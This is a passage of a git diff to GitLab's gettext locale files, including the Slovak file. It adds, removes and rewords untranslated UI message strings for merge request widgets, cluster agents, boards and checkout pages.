-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/sk_SK/gitlab.po b/locale/sk_SK/gitlab.po
index 8257cdf7cf9..c9b755cc49a 100644
--- a/locale/sk_SK/gitlab.po
+++ b/locale/sk_SK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -303,6 +300,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -373,6 +377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -464,6 +475,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -537,6 +555,12 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -623,6 +647,13 @@ msgstr[3] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -851,7 +882,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -905,6 +936,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -939,9 +973,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -966,6 +997,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1050,9 +1087,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1165,6 +1199,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1298,6 +1335,13 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
msgstr ""
@@ -1307,6 +1351,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1347,6 +1394,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1702,9 +1752,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1741,9 +1788,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1792,9 +1836,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1930,9 +1971,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2179,12 +2217,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2227,6 +2271,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2319,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2341,6 +2388,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2386,9 +2436,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2431,7 +2478,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2440,7 +2487,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2536,6 +2583,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2602,7 +2652,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3139,19 +3189,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3742,9 +3801,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3772,6 +3828,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3931,6 +3990,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4115,6 +4177,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4154,6 +4219,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4196,9 +4264,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4211,9 +4276,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4272,6 +4334,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4282,6 +4347,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4704,6 +4772,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4909,6 +4980,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5010,6 +5084,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5658,6 +5735,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5737,6 +5817,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5746,12 +5829,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5764,6 +5856,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5859,6 +5954,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5871,6 +5969,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6162,10 +6263,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,6 +6278,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6715,10 +6825,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6769,9 +6879,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6784,6 +6891,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6847,10 +6957,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6914,6 +7024,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7131,9 +7241,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7431,6 +7538,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7473,6 +7583,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7515,12 +7628,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7542,16 +7649,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7563,9 +7685,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7575,6 +7718,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7584,28 +7730,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7617,6 +7766,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7629,60 +7781,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
